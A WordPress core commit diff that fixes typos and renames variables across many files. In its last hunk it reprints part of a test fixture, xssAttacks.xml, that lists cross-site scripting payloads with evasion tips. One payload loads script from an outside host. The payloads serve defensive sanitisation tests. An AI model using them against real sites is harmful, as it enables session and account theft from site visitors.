diff options
| author | Pascal Birchler <swissspidy@git.wordpress.org> | 2024-04-12 17:45:23 +0000 |
|---|---|---|
| committer | Pascal Birchler <swissspidy@git.wordpress.org> | 2024-04-12 17:45:23 +0000 |
| commit | 11bc9c9e8c628bff8a0cca3bcd9eff151164548b (patch) | |
| tree | c1f232fb6d0b1b2dbf25a74cf02aae55d0e729fb | |
| parent | 6366755a315b80604740af329eefa8a1a790ff7b (diff) | |
| download | wordpress-11bc9c9e8c628bff8a0cca3bcd9eff151164548b.tar.gz wordpress-11bc9c9e8c628bff8a0cca3bcd9eff151164548b.zip | |
Docs: Fix various typos and spelling mistakes.
Props swissspidy, jucaduca, sergeybiryukov.
See #60699.
git-svn-id: https://develop.svn.wordpress.org/trunk@57987 602fd350-edb4-49c9-b593-d223f7449a82
104 files changed, 991 insertions, 991 deletions
@@ -13,7 +13,7 @@ To get started, create a codespace for this repository by clicking this 👇 [](https://github.com/codespaces/new?hide_repo_select=true&ref=trunk&repo=75645659) -A codespace will open in a web-based version of Visual Studio Code. The [dev container](.devcontainer/devcontainer.json) is fully configured with softwares needed for this project. +A codespace will open in a web-based version of Visual Studio Code. The [dev container](.devcontainer/devcontainer.json) is fully configured with software needed for this project. **Note**: Dev containers is an open spec which is supported by [GitHub Codespaces](https://github.com/codespaces) and [other tools](https://containers.dev/supporting). diff --git a/src/js/_enqueues/lib/admin-bar.js b/src/js/_enqueues/lib/admin-bar.js index 01b175d1b0..dbee866325 100644 --- a/src/js/_enqueues/lib/admin-bar.js +++ b/src/js/_enqueues/lib/admin-bar.js @@ -203,7 +203,7 @@ } /** - * Toogle hover class for mobile devices. + * Toggle hover class for mobile devices. * * @since 5.3.1 * diff --git a/src/js/_enqueues/wp/backbone.js b/src/js/_enqueues/wp/backbone.js index 74297e8e06..4fd194f573 100644 --- a/src/js/_enqueues/wp/backbone.js +++ b/src/js/_enqueues/wp/backbone.js @@ -310,7 +310,7 @@ window.wp = window.wp || {}; * @since 3.6.0 * * @param {Object} options Options for call. - * @param {boolean} options.silent If true, `unset` wil *not* be triggered on + * @param {boolean} options.silent If true, `unset` will *not* be triggered on * the master views' parent. * * @return {wp.Backbone.Subviews} The current Subviews instance. diff --git a/src/js/_enqueues/wp/customize/controls.js b/src/js/_enqueues/wp/customize/controls.js index 650ac8a161..dbfef020f7 100644 --- a/src/js/_enqueues/wp/customize/controls.js +++ b/src/js/_enqueues/wp/customize/controls.js @@ -1799,7 +1799,7 @@ section.closeDetails(); } else { - // Escape from the inifinite scroll list. + // Escape from the infinite scroll list. section.headerContainer.find( '.customize-themes-section-title' ).focus(); } event.stopPropagation(); // Prevent section from being collapsed. @@ -7199,7 +7199,7 @@ } ) ); /** - * Return whether the pubish settings section should be active. + * Return whether the publish settings section should be active. * * @return {boolean} Is section active. */ diff --git a/src/js/_enqueues/wp/customize/loader.js b/src/js/_enqueues/wp/customize/loader.js index e9368c3f83..2326f1f7df 100644 --- a/src/js/_enqueues/wp/customize/loader.js +++ b/src/js/_enqueues/wp/customize/loader.js @@ -22,7 +22,7 @@ window.wp = window.wp || {}; }); /** - * Allows the Customizer to be overlayed on any page. + * Allows the Customizer to be overlaid on any page. * * By default, any element in the body with the load-customize class will open * an iframe overlay with the URL specified. diff --git a/src/js/_enqueues/wp/customize/selective-refresh.js b/src/js/_enqueues/wp/customize/selective-refresh.js index 2967d45152..6744361066 100644 --- a/src/js/_enqueues/wp/customize/selective-refresh.js +++ b/src/js/_enqueues/wp/customize/selective-refresh.js @@ -429,7 +429,7 @@ wp.customize.selectiveRefresh = ( function( $, api ) { } /* jshint ignore:start */ - self.orginalDocumentWrite = document.write; + self.originalDocumentWrite = document.write; document.write = function() { throw new Error( self.data.l10n.badDocumentWrite ); }; @@ -473,8 +473,8 @@ wp.customize.selectiveRefresh = ( function( $, api ) { partial.fallback( error, [ placement ] ); } /* jshint ignore:start */ - document.write = self.orginalDocumentWrite; - self.orginalDocumentWrite = null; + document.write = self.originalDocumentWrite; + self.originalDocumentWrite = null; /* jshint ignore:end */ partial.createEditShortcutForPlacement( placement ); @@ -673,7 +673,7 @@ wp.customize.selectiveRefresh = ( function( $, api ) { self._pendingPartialRequests = {}; /** - * Timeout ID for the current requesr, or null if no request is current. + * Timeout ID for the current request, or null if no request is current. * * @since 4.5.0 * @type {number|null} diff --git a/src/js/_enqueues/wp/customize/widgets.js b/src/js/_enqueues/wp/customize/widgets.js index 2ba8aeed81..05bd65c901 100644 --- a/src/js/_enqueues/wp/customize/widgets.js +++ b/src/js/_enqueues/wp/customize/widgets.js @@ -388,7 +388,7 @@ }, /** - * Adds keyboard accessiblity to the panel. + * Adds keyboard accessibility to the panel. */ keyboardAccessible: function( event ) { var isEnter = ( event.which === 13 ), diff --git a/src/js/_enqueues/wp/dashboard.js b/src/js/_enqueues/wp/dashboard.js index 3354790472..0115611fe9 100644 --- a/src/js/_enqueues/wp/dashboard.js +++ b/src/js/_enqueues/wp/dashboard.js @@ -92,7 +92,7 @@ jQuery( function($) { setTimeout( function(){ // Request the widget content. p.load( ajaxurl + '?action=dashboard-widgets&widget=' + id + '&pagenow=' + pagenow, '', function() { - // Hide the parent and slide it out for visual fancyness. + // Hide the parent and slide it out for visual fanciness. p.hide().slideDown('normal', function(){ $(this).css('display', ''); }); diff --git a/src/js/_enqueues/wp/editor/base.js b/src/js/_enqueues/wp/editor/base.js index d5fe958c19..2465af3227 100644 --- a/src/js/_enqueues/wp/editor/base.js +++ b/src/js/_enqueues/wp/editor/base.js @@ -265,7 +265,7 @@ window.wp = window.wp || {}; } /** - * Gets a list of unique shortcodes or shortcode-look-alikes in the content. + * Gets a list of unique shortcodes or shortcode-lookalikes in the content. * * @param {string} content The content we want to scan for shortcodes. */ @@ -561,7 +561,7 @@ window.wp = window.wp || {}; * By default TinyMCE wraps loose inline tags in a `<p>`. * When removing selection markers an empty `<p>` may be left behind, remove it. * - * @param {Object} $marker The marker to be removed from the editor DOM, wrapped in an instnce of `editor.$` + * @param {Object} $marker The marker to be removed from the editor DOM, wrapped in an instance of `editor.$` */ function removeSelectionMarker( $marker ) { var $markerParent = $marker.parent(); diff --git a/src/js/_enqueues/wp/editor/dfw.js b/src/js/_enqueues/wp/editor/dfw.js index a47c548dc9..04b001e1c8 100644 --- a/src/js/_enqueues/wp/editor/dfw.js +++ b/src/js/_enqueues/wp/editor/dfw.js @@ -1552,7 +1552,7 @@ // Bind and unbind based on the distraction free writing focus. $document.on( 'dfw-on.focus', mceBind ).on( 'dfw-off.focus', mceUnbind ); - // Focuse the editor when it is the target of the click event. + // Focus the editor when it is the target of the click event. editor.on( 'click', function( event ) { if ( event.target === editor.getDoc().documentElement ) { editor.focus(); diff --git a/src/js/_enqueues/wp/theme-plugin-editor.js b/src/js/_enqueues/wp/theme-plugin-editor.js index 8871b0432a..2fd866531f 100644 --- a/src/js/_enqueues/wp/theme-plugin-editor.js +++ b/src/js/_enqueues/wp/theme-plugin-editor.js @@ -191,7 +191,7 @@ wp.themePluginEditor = (function( $ ) { return; } - // Scroll ot the line that has the error. + // Scroll to the line that has the error. if ( component.lintErrors.length ) { component.instance.codemirror.setCursor( component.lintErrors[0].from.line ); return; diff --git a/src/js/_enqueues/wp/theme.js b/src/js/_enqueues/wp/theme.js index 13ed5aab4e..e4bebbbc1e 100644 --- a/src/js/_enqueues/wp/theme.js +++ b/src/js/_enqueues/wp/theme.js @@ -926,7 +926,7 @@ themes.view.Preview = themes.view.Details.extend({ currentPreviewDevice = this.$el.data( 'current-preview-device' ); if ( currentPreviewDevice ) { - self.tooglePreviewDeviceButtons( currentPreviewDevice ); + self.togglePreviewDeviceButtons( currentPreviewDevice ); } themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.get( 'id' ) ), { replace: false } ); @@ -988,10 +988,10 @@ themes.view.Preview = themes.view.Details.extend({ .addClass( 'preview-' + device ) .data( 'current-preview-device', device ); - this.tooglePreviewDeviceButtons( device ); + this.togglePreviewDeviceButtons( device ); }, - tooglePreviewDeviceButtons: function( newDevice ) { + togglePreviewDeviceButtons: function( newDevice ) { var $devices = $( '.wp-full-overlay-footer .devices' ); $devices.find( 'button' ) diff --git a/src/js/media/views/toolbar.js b/src/js/media/views/toolbar.js index ed40dcdfda..ec1b31aec3 100644 --- a/src/js/media/views/toolbar.js +++ b/src/js/media/views/toolbar.js @@ -52,7 +52,7 @@ Toolbar = View.extend(/** @lends wp.media.view.Toolbar.prototype */{ } }, /** - * @return {wp.media.view.Toolbar} Returns itsef to allow chaining + * @return {wp.media.view.Toolbar} Returns itself to allow chaining */ dispose: function() { if ( this.selection ) { diff --git a/src/wp-admin/css/list-tables.css b/src/wp-admin/css/list-tables.css index f5db5232a8..a0f4914082 100644 --- a/src/wp-admin/css/list-tables.css +++ b/src/wp-admin/css/list-tables.css @@ -904,7 +904,7 @@ tr:hover .row-actions, tr.inline-edit-row td { padding: 0; - /* Prevents the focus style on .inline-edit-wrapper from being cutted-off */ + /* Prevents the focus style on .inline-edit-wrapper from being cut-off */ position: relative; } diff --git a/src/wp-content/themes/twentyfourteen/inc/featured-content.php b/src/wp-content/themes/twentyfourteen/inc/featured-content.php index 9e3310ff54..8b36b12c31 100644 --- a/src/wp-content/themes/twentyfourteen/inc/featured-content.php +++ b/src/wp-content/themes/twentyfourteen/inc/featured-content.php @@ -179,7 +179,7 @@ class Featured_Content { } /** - * Return an array with IDs of posts maked as sticky. + * Return an array with IDs of posts marked as sticky. * * @since Twenty Fourteen 1.0 * diff --git a/src/wp-content/themes/twentyseventeen/assets/css/colors-dark.css b/src/wp-content/themes/twentyseventeen/assets/css/colors-dark.css index f7b977dca0..18bb338ffd 100644 --- a/src/wp-content/themes/twentyseventeen/assets/css/colors-dark.css +++ b/src/wp-content/themes/twentyseventeen/assets/css/colors-dark.css @@ -126,8 +126,8 @@ .colors-dark .widget .widget-title a:hover, .colors-dark .widget ul li a:focus, .colors-dark .widget ul li a:hover { - -webkit-box-shadow: inset 0 0 0 rgba(255, 255, 255, 0), 0 3px 0 rgba(255, 255, 255, 1); /* Equivalant to #fff */ - box-shadow: inset 0 0 0 rgba(255, 255, 255, 0), 0 3px 0 rgba(255, 255, 255, 1); /* Equivalant to #fff */ + -webkit-box-shadow: inset 0 0 0 rgba(255, 255, 255, 0), 0 3px 0 rgba(255, 255, 255, 1); /* Equivalent to #fff */ + box-shadow: inset 0 0 0 rgba(255, 255, 255, 0), 0 3px 0 rgba(255, 255, 255, 1); /* Equivalent to #fff */ } .colors-dark .entry-content a, @@ -137,8 +137,8 @@ .colors-dark .site-footer .widget-area a, .colors-dark .posts-navigation a, .colors-dark .widget_authors a strong { - -webkit-box-shadow: inset 0 -1px 0 rgba(240, 240, 240, 1); /* Equivalant to #f0f0f0 */ - box-shadow: inset 0 -1px 0 rgba(240, 240, 240, 1); /* Equivalant to #f0f0f0 */ + -webkit-box-shadow: inset 0 -1px 0 rgba(240, 240, 240, 1); /* Equivalent to #f0f0f0 */ + box-shadow: inset 0 -1px 0 rgba(240, 240, 240, 1); /* Equivalent to #f0f0f0 */ } body.colors-dark, @@ -474,8 +474,8 @@ body.colors-dark, .colors-dark .widget ul li a, .colors-dark .site-footer .widget-area ul li a, .colors-dark .site-info a { - -webkit-box-shadow: inset 0 -1px 0 rgba(34, 34, 34, 1); /* Equivalant to #222 */ - box-shadow: inset 0 -1px 0 rgba(34, 34, 34, 1); /* Equivalant to #222 */ + -webkit-box-shadow: inset 0 -1px 0 rgba(34, 34, 34, 1); /* Equivalent to #222 */ + box-shadow: inset 0 -1px 0 rgba(34, 34, 34, 1); /* Equivalent to #222 */ } /* Fixes linked images */ diff --git a/src/wp-content/themes/twentytwelve/inc/block-patterns.php b/src/wp-content/themes/twentytwelve/inc/block-patterns.php index be038d9dfd..d40c4685f8 100644 --- a/src/wp-content/themes/twentytwelve/inc/block-patterns.php +++ b/src/wp-content/themes/twentytwelve/inc/block-patterns.php @@ -100,7 +100,7 @@ if ( function_exists( 'register_block_pattern' ) ) { <p class="has-drop-cap">' . esc_html__( 'Far far away, behind the word mountains, far from the countries Vokalia and Consonantia, there live the blind texts. Separated they live in Bookmarksgrove right at the coast of the Semantics, a large language ocean. A small river named Duden flows by their place and supplies it with the necessary regelialia. It is a paradisematic country, in which roasted parts of sentences fly into your mouth.', 'twentytwelve' ) . '</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> - <p>' . esc_html__( 'The Big Oxmox advised her not to do so, because there were thousands of bad Commas, wild Question Marks and devious Semikoli, but the Little Blind Text didn’t listen. She packed her seven versalia, put her initial into the belt and made herself on the way. When she reached the first hills of the Italic Mountains, she had a last view back on the skyline of her hometown Bookmarksgrove, the headline of Alphabet Village and the subline of her own road, the Line Lane. Pityful a rethoric question ran over her cheek, then.', 'twentytwelve' ) . '</p> + <p>' . esc_html__( 'The Big Oxmox advised her not to do so, because there were thousands of bad Commas, wild Question Marks and devious Semikoli, but the Little Blind Text didn’t listen. She packed her seven versalia, put her initial into the belt and made herself on the way. When she reached the first hills of the Italic Mountains, she had a last view back on the skyline of her hometown Bookmarksgrove, the headline of Alphabet Village and the subline of her own road, the Line Lane. Pityful a rhetoric question ran over her cheek, then.', 'twentytwelve' ) . '</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>' . esc_html__( 'It is a paradisematic country, in which roasted parts of sentences fly into your mouth. Even the all-powerful Pointing has no control about the blind texts it is an almost unorthographic life One day however a small line of blind text by the name of Lorem Ipsum decided to leave for the far World of Grammar. Far far away, behind the word mountains, far from the countries Vokalia and Consonantia, there live the blind texts. Separated they live in Bookmarksgrove right at the coast of the Semantics, a large language ocean. A small river named Duden flows by their place and supplies it with the necessary regelialia. It is a paradisematic country, in which roasted parts of sentences fly into your mouth.', 'twentytwelve' ) . '</p> diff --git a/src/wp-content/themes/twentytwenty/assets/js/index.js b/src/wp-content/themes/twentytwenty/assets/js/index.js index 5daa9eaa7c..f5b142d239 100644 --- a/src/wp-content/themes/twentytwenty/assets/js/index.js +++ b/src/wp-content/themes/twentytwenty/assets/js/index.js @@ -331,7 +331,7 @@ twentytwenty.intrinsicRatioVideos = { } ); } -}; // twentytwenty.instrinsicRatioVideos +}; // twentytwenty.intrinsicRatioVideos /* ----------------------------------------------------------------------------------------------- Modal Menu diff --git a/src/wp-content/themes/twentytwentyone/assets/sass/06-components/header.scss b/src/wp-content/themes/twentytwentyone/assets/sass/06-components/header.scss index 557e2f5e52..21a8da4f59 100644 --- a/src/wp-content/themes/twentytwentyone/assets/sass/06-components/header.scss +++ b/src/wp-content/themes/twentytwentyone/assets/sass/06-components/header.scss @@ -173,7 +173,7 @@ margin-top: calc(0px - var(--button--padding-vertical) + (0.25 * var(--global--spacing-unit))); #primary-mobile-menu { - // The 4.5px here is to offset the icon size horizontallly + // The 4.5px here is to offset the icon size horizontally // (the icon's width is larger than the path's width and has extra space on the sides). padding-left: calc(var(--global--spacing-horizontal) * 0.6 - 4.5px); padding-right: calc(var(--global--spacing-horizontal) * 0.6 - 4.5px); diff --git a/src/wp-includes/class-wp-theme-json.php b/src/wp-includes/class-wp-theme-json.php index 7ab626ce8f..a3171db7e1 100644 --- a/src/wp-includes/class-wp-theme-json.php +++ b/src/wp-includes/class-wp-theme-json.php @@ -2893,7 +2893,7 @@ class WP_Theme_JSON { /** * Returns the default slugs for all the presets in an associative array - * whose keys are the preset paths and the leafs is the list of slugs. + * whose keys are the preset paths and the leaves is the list of slugs. * * For example: * diff --git a/src/wp-includes/embed.php b/src/wp-includes/embed.php index 0958a2b0c3..6c767cfcab 100644 --- a/src/wp-includes/embed.php +++ b/src/wp-includes/embed.php @@ -244,7 +244,7 @@ function wp_embed_handler_youtube( $matches, $attr, $url, $rawattr ) { $embed = $wp_embed->autoembed( sprintf( 'https://youtube.com/watch?v=%s', urlencode( $matches[2] ) ) ); /** - * Filters the YoutTube embed output. + * Filters the YouTube embed output. * * @since 4.0.0 * diff --git a/src/wp-includes/functions.php b/src/wp-includes/functions.php index b85036cb95..d7cc00672b 100644 --- a/src/wp-includes/functions.php +++ b/src/wp-includes/functions.php @@ -2270,7 +2270,7 @@ function wp_is_writable( $path ) { * PHP has issues with Windows ACL's for determine if a * directory is writable or not, this works around them by * checking the ability to open files rather than relying - * upon PHP to interprate the OS ACL. + * upon PHP to interpret the OS ACL. * * @since 2.8.0 * diff --git a/src/wp-includes/html-api/class-wp-html-tag-processor.php b/src/wp-includes/html-api/class-wp-html-tag-processor.php index c540ea96c1..238d59bec3 100644 --- a/src/wp-includes/html-api/class-wp-html-tag-processor.php +++ b/src/wp-includes/html-api/class-wp-html-tag-processor.php @@ -2071,7 +2071,7 @@ class WP_HTML_Tag_Processor { /* * Purge updates if there are too many. The actual count isn't * scientific, but a few values from 100 to a few thousand were - * tests to find a practially-useful limit. + * tests to find a practically-useful limit. * * If the update queue grows too big, then the Tag Processor * will spend more time iterating through them and lose the diff --git a/src/wp-includes/ms-deprecated.php b/src/wp-includes/ms-deprecated.php index c6c7f544c0..5a6b4415ed 100644 --- a/src/wp-includes/ms-deprecated.php +++ b/src/wp-includes/ms-deprecated.php @@ -145,7 +145,7 @@ function clear_global_post_cache( $post_id ) { } /** - * Deprecated functionality to determin if the current site is the main site. + * Deprecated functionality to determine if the current site is the main site. * * @since MU (3.0.0) * @deprecated 3.0.0 Use is_main_site() diff --git a/src/wp-includes/nav-menu-template.php b/src/wp-includes/nav-menu-template.php index 316a5916d3..19eb75a97b 100644 --- a/src/wp-includes/nav-menu-template.php +++ b/src/wp-includes/nav-menu-template.php @@ -341,9 +341,9 @@ function _wp_menu_item_classes_by_context( &$menu_items ) { if ( is_array( $terms ) ) { $possible_object_parents = array_merge( $possible_object_parents, $terms ); $term_to_ancestor = array(); - foreach ( (array) $term_hierarchy as $anc => $descs ) { - foreach ( (array) $descs as $desc ) { - $term_to_ancestor[ $desc ] = $anc; + foreach ( (array) $term_hierarchy as $ancestor => $descendents ) { + foreach ( (array) $descendents as $desc ) { + $term_to_ancestor[ $desc ] = $ancestor; } } @@ -365,9 +365,9 @@ function _wp_menu_item_classes_by_context( &$menu_items ) { } elseif ( ! empty( $queried_object->taxonomy ) && is_taxonomy_hierarchical( $queried_object->taxonomy ) ) { $term_hierarchy = _get_term_hierarchy( $queried_object->taxonomy ); $term_to_ancestor = array(); - foreach ( (array) $term_hierarchy as $anc => $descs ) { - foreach ( (array) $descs as $desc ) { - $term_to_ancestor[ $desc ] = $anc; + foreach ( (array) $term_hierarchy as $ancestor => $descendents ) { + foreach ( (array) $descendents as $desc ) { + $term_to_ancestor[ $desc ] = $ancestor; } } $desc = $queried_object->term_id; @@ -430,13 +430,13 @@ function _wp_menu_item_classes_by_context( &$menu_items ) { ) { $classes[] = 'current-menu-item'; $menu_items[ $key ]->current = true; - $_anc_id = (int) $menu_item->db_id; + $ancestor_id = (int) $menu_item->db_id; while ( - ( $_anc_id = (int) get_post_meta( $_anc_id, '_menu_item_menu_item_parent', true ) ) - && ! in_array( $_anc_id, $active_ancestor_item_ids, true ) + ( $ancestor_id = (int) get_post_meta( $ancestor_id, '_menu_item_menu_item_parent', true ) ) + && ! in_array( $ancestor_id, $active_ancestor_item_ids, true ) ) { - $active_ancestor_item_ids[] = $_anc_id; + $active_ancestor_item_ids[] = $ancestor_id; } if ( 'post_type' === $menu_item->type && 'page' === $menu_item->object ) { @@ -457,13 +457,13 @@ function _wp_menu_item_classes_by_context( &$menu_items ) { ) { $classes[] = 'current-menu-item'; $menu_items[ $key ]->current = true; - $_anc_id = (int) $menu_item->db_id; + $ancestor_id = (int) $menu_item->db_id; while ( - ( $_anc_id = (int) get_post_meta( $_anc_id, '_menu_item_menu_item_parent', true ) ) - && ! in_array( $_anc_id, $active_ancestor_item_ids, true ) + ( $ancestor_id = (int) get_post_meta( $ancestor_id, '_menu_item_menu_item_parent', true ) ) + && ! in_array( $ancestor_id, $active_ancestor_item_ids, true ) ) { - $active_ancestor_item_ids[] = $_anc_id; + $active_ancestor_item_ids[] = $ancestor_id; } $active_parent_item_ids[] = (int) $menu_item->menu_item_parent; @@ -494,13 +494,13 @@ function _wp_menu_item_classes_by_context( &$menu_items ) { if ( $raw_item_url && in_array( $item_url, $matches, true ) ) { $classes[] = 'current-menu-item'; $menu_items[ $key ]->current = true; - $_anc_id = (int) $menu_item->db_id; + $ancestor_id = (int) $menu_item->db_id; while ( - ( $_anc_id = (int) get_post_meta( $_anc_id, '_menu_item_menu_item_parent', true ) ) - && ! in_array( $_anc_id, $active_ancestor_item_ids, true ) + ( $ancestor_id = (int) get_post_meta( $ancestor_id, '_menu_item_menu_item_parent', true ) ) + && ! in_array( $ancestor_id, $active_ancestor_item_ids, true ) ) { - $active_ancestor_item_ids[] = $_anc_id; + $active_ancestor_item_ids[] = $ancestor_id; } if ( in_array( home_url(), array( untrailingslashit( $current_url ), untrailingslashit( $_indexless_current ) ), true ) ) { diff --git a/src/wp-includes/post.php b/src/wp-includes/post.php index 9c662aaa24..8c3f55d271 100644 --- a/src/wp-includes/post.php +++ b/src/wp-includes/post.php @@ -3403,7 +3403,7 @@ function wp_post_mime_type_where( $post_mime_types, $table_alias = '' ) { $post_mime_types = array_map( 'trim', explode( ',', $post_mime_types ) ); } - $wheres = array(); + $where_clauses = array(); foreach ( (array) $post_mime_types as $mime_type ) { $mime_type = preg_replace( '/\s/', '', $mime_type ); @@ -3431,14 +3431,14 @@ function wp_post_mime_type_where( $post_mime_types, $table_alias = '' ) { } if ( str_contains( $mime_pattern, '%' ) ) { - $wheres[] = empty( $table_alias ) ? "post_mime_type LIKE '$mime_pattern'" : "$table_alias.post_mime_type LIKE '$mime_pattern'"; + $where_clauses[] = empty( $table_alias ) ? "post_mime_type LIKE '$mime_pattern'" : "$table_alias.post_mime_type LIKE '$mime_pattern'"; } else { - $wheres[] = empty( $table_alias ) ? "post_mime_type = '$mime_pattern'" : "$table_alias.post_mime_type = '$mime_pattern'"; + $where_clauses[] = empty( $table_alias ) ? "post_mime_type = '$mime_pattern'" : "$table_alias.post_mime_type = '$mime_pattern'"; } } - if ( ! empty( $wheres ) ) { - $where = ' AND (' . implode( ' OR ', $wheres ) . ') '; + if ( ! empty( $where_clauses ) ) { + $where = ' AND (' . implode( ' OR ', $where_clauses ) . ') '; } return $where; diff --git a/src/wp-includes/theme.php b/src/wp-includes/theme.php index 7157318b9b..11b7bd9aa3 100644 --- a/src/wp-includes/theme.php +++ b/src/wp-includes/theme.php @@ -3562,7 +3562,7 @@ function _wp_customize_include() { $changeset_uuid = false; /* - * Set initially fo false since defaults to true for back-compat; + * Set initially to false since defaults to true for back-compat; * can be overridden via the customize_changeset_branching filter. */ $branching = false; diff --git a/tests/phpunit/data/formatting/xssAttacks.xml b/tests/phpunit/data/formatting/xssAttacks.xml index 017bf1f347..42f3dd1280 100644 --- a/tests/phpunit/data/formatting/xssAttacks.xml +++ b/tests/phpunit/data/formatting/xssAttacks.xml @@ -1,433 +1,433 @@ <?xml version="1.0"?> -<xss> - <attack> - <name>XSS Locator</name> - <code>';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}</code> - <desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably.</desc> - <label>Basic XSS Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>XSS Quick Test</name> - <code>'';!--"<XSS>=&{()}</code> - <desc>If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable.</desc> - <label>Basic XSS Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>SCRIPT w/Alert()</name> - <code><SCRIPT>alert('XSS')</SCRIPT></code> - <desc>Basic injection attack</desc> - <label>Basic XSS Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>SCRIPT w/Source File</name> - <code><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT></code> - <desc>No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).</desc> - <label>Basic XSS Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>SCRIPT w/Char Code</name> - <code><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT></code> - <desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up.</desc> - <label>Basic XSS Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>BASE</name> - <code><BASE HREF="javascript:alert('XSS');//"></code> - <desc>Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>BGSOUND</name> - <code><BGSOUND SRC="javascript:alert('XSS');"></code> - <desc>BGSOUND</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>BODY background-image</name> - <code><BODY BACKGROUND="javascript:alert('XSS');"></code> - <desc>BODY image</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>BODY ONLOAD</name> - <code><BODY ONLOAD=alert('XSS')></code> - <desc>BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack)</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>DIV background-image 1</name> - <code><DIV STYLE="background-image: url(javascript:alert('XSS'))"></code> - <desc>Div background-image</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>DIV background-image 2</name> - <code><DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"></code> - <desc>Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>DIV expression</name> - <code><DIV STYLE="width: expression(alert('XSS'));"></code> - <desc>Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression"</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>FRAME</name> - <code><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET></code> - <desc>Frame (Frames have the same sorts of XSS problems as iframes).</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>IFRAME</name> - <code><IFRAME SRC="javascript:alert('XSS');"></IFRAME></code> - <desc>Iframe (If iframes are allowed there are a lot of other XSS problems as well).</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - 